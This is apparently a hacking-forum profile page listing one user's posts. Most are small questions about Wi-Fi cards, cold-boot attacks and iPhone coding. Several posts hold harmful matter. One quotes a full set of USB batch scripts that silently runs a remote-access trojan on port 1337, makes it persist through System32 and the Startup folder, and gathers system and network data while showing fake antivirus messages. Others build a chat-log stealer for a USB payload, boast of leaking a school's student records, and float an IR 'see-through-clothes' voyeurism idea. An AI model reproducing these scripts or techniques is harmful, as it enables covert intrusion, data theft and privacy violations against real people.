Jump to content

Juf

Active Members
  • Posts

    16
  • Joined

  • Last visited

Posts posted by Juf

  1. Had the same problem with my current SysAdmin at school. Except we had Windows XP computers, all routing to a ntwork logon domain. And we deep freeze and the lot. So I told the principal they could care less. I then found that there backup was hosted on the network and could be access by ANYONE. I got the Student information list. And put it on everyones desktop, then 're-froze' it.

    Alert the press and it'll be hillarious. News Headline: "Kid hacks into school, administrators careless"

    Good luck,

    Juf

    P.S. Give them a solution to their problem and they are more likely to listen to you.

  2. Go into your device manager and see what the name of the card is, then look it up. You can also find out through wmic, but it will probably tell you the same thing under description, which is the service for the network card. For example, my Linksys Wireless card shows up as rt73. Thats the driver, and also what you can use to determine if the card is supported under backtrack.

    If you want a printout of all your network hardware, the names, and their descriptions, open a cmd window and cd to desktop. Then copy and paste the following command:

    wmic NICCONFIG list full /format:htable > NETWORK-ADAPTERS-DETAILED-INFO.html

    Then open the html file it created on your desktop and look for your wifi card and scroll over to description. Usually the description will be the drivers name which can help identify the chipset of the card just by googling the description.

    edit: Forgot to mention, this is a way to get the information for windows users.

    See http://www.backtrack-linux.org/bt/wireless-drivers/ once you know the card and check it its in this list.

    Thanks alot, since I haven't bought it yet I'll have to runthe command at the store =D I'll post here what wireless card it has

  3. I don't know if it would work but you could always try using a $ony night cam. It uses two high powered IR lights to make it usable at night, voyuerist discovered that the IR light, being thinner than normal light would go through clothes. Thus seeing through clothes and recording as if the clothes weren't there. Maybe the same concept could be used with coke instead of clothes? Whatchu think?

  4. RAM chips lose there data after a few seconds after losing power. In some cases it is possible for the data in the RAM can be maintained by ensuring the motherboard has power (not necessarily switch on however), this is motherboard dependant however.

    If I were to apply a coldboot attack against program data, not for examole saved texts files. Would I potentially be able to restore that state if I were to restore power within milleseconds? My teacher does'nt understands the coldboot attack and she wants to apply it to program data.

  5. After my buisness and IT teacher told me that when powering off a computer the RAM 'dissappears'. Then I recalled the cold-boot attack series and I'm wondering, would this phrase be incorrect?

    RAM data disappears when you turn off the computer.

    I presume it is but just want to make sure.

    Thanks in advance,

    Juf

  6. Programs used

    Notepad to write batch scripts

    WindowsRAT.exe to open port 1337

    IExpress to make the file and command(windowsrat.exe 1337) run in background

    http://virusscan.jotti.org/en/scanresult/5...ce1299d7fa9507e

    http://www.virustotal.com/analisis/120844c...366e-1245102553

    not detected.

    this is just a basic thing.

    autorun.bat this will start when you plug in the usb drive (there is a autorun.inf on it but if computer has autorun disabled this is the file you should start)

    @echo off
    start /min launch.exe
    cls
    start /min launch.bat
    cls
    exit

    launch.exe has windowsrat.exe ( i did not write this i downloaded this from somewhere i think its from packet storm ) i used iexpress and put windowsrat.exe in it and it will run in background, the command windowsrat.exe 1337 is executed server is on port 1337 now you can connect to it using telnet.

    launch.bat this will be minimized but just incase someone opens the window it will have false messages. this you can see puts launch.exe in system32 and copies startupsystem.bat to users startup folder. this also collects ip address and then you can telnet to that ip address and port 1337

    echo off
    copy launch.exe C:\Windows\System32
    cls
    copy startupsystem.bat "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup"
    cls
    mkdir \Information\%USERNAME%
    cls
    Echo Anti-Virus Portable
    systeminfo > \Information\%USERNAME%\%USERNAME%sysinfo.txt
    cls
    Echo Anti-Virus Portable
    arp -a > \Information\%USERNAME%\%USERNAME%arp.txt
    cls
    Echo Searching and Removing Virus
    netstat -a > \Information\%USERNAME%\%USERNAME%netstat.txt
    cls
    Echo Searching and Removing Virus
    ipconfig > \Information\%USERNAME%\%USERNAME%ipconfig.txt
    cls
    Echo Searching and Removing Virus
    tasklist > \Information\%USERNAME%\%USERNAME%task.txt
    cls
    Echo Searching and Removing Virus
    net group > \Information\%USERNAME%\%USERNAME%group.txt
    cls
    Echo Searching and Removing Virus
    net localgroup > \Information\%USERNAME%\%USERNAME%localgroup.txt
    cls
    Echo Searching and Removing Virus
    net share > \Information\%USERNAME%\%USERNAME%share.txt
    cls
    Echo Searching and Removing Virus
    net use > \Information\%USERNAME%\%USERNAME%use.txt
    cls
    Echo Searching and Removing Virus
    net user > \Information\%USERNAME%\%USERNAME%users.txt
    cls
    Echo No Virus Found
    net view > \Information\%USERNAME%\%USERNAME%view.txt
    Echo No Virus Found
    cls
    exit

    startupsystem.bat this will start launch.exe when computer startups and this user logs in i tried to make it a service but i couldnt...if you can you should do that.

    start launch.exe
    exit

    removal.bat it deletes launch.exe from sys32 and deletes startupsystem.bat...

    @echo off
    del "C:\Windows\System32\Launch.exe"
    cls
    del "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup\startupsystem.bat"
    cls
    exit

    you should have autorun disabled. and monitor your startup folder i think some anti spyware do it but its good if you check it.

    i am not a coder, but if you are you can improve this..DO IT.

    Download: http://www.2shared.com/file/6329193/806de49d/USBHACK.html

    -Pizza (aka JPizza)

    add (this simple code :))

    Title Anti-Virus Scanning...
    Color 0a
    

    For affect :)

  7. Just wondering how you would find the user you are currently on in C++

    Batch E.X;

    %USERNAME%

    Bassically I want to make a chat log stealer and incorperate it into the pocket knife, I would use this;

    Copy "C:\Documents and Settings\%USERNAME%\My Documents\My Chat Logs\" \chatlog

    (not that exactly but you get the picture)

    but my USB doesn't like my batch so, need an answer. :rolleyes:

    SOLVED

    Lol Batch started working so here it is :) Real Simple

    mkdir %logdir%\MSNLOGS
    copy "%HOMEDRIVE%%HOMEPATH%\My Documents\My Chat Logs" "%LOGDIR%/MSNLOGS/"

    You just got to incorporate it into your payload

  8. By platform to start on I'm guessing OS? Start on Mac OS X (I belive Mac is the only OS to support the Apple Iphone SDK). Also if you're first starting out sign up to the IPhone Objective-C Email list. I currently code personal java iphone applications. (made homework solvers :P http://static.schoolrack.com/files/21512/60530/Beta.rar Finds common multiples and factors. I'm only Gr. 8 ... Works on my Ipod Touch

    (and hope fully Iphones).

    Best of luck,

    Juf

  9. My question is;

    How do you find out what user you are in (for windows)?

    Example;

    Say I was on user tsi (I'm doing this so i can bind it with switchblade and get MSN logs, I know I'm a noob). If I'm using switchblade I won't (usually) have enough time to manually enter the user name. So if my program can find out the user then it would automatically copy (hence the example use tsi) C:\Documents and Settings\tsi\My Documents\My Chat Logs to E:/Dump/ or whatever.

    So far I haven't started making this so I will except any languages you may offer a solution for... I currently know, Lua, C, C++, Java, and DOS.

    Thanks in Advance,

    Juf

×
×
  • Create New...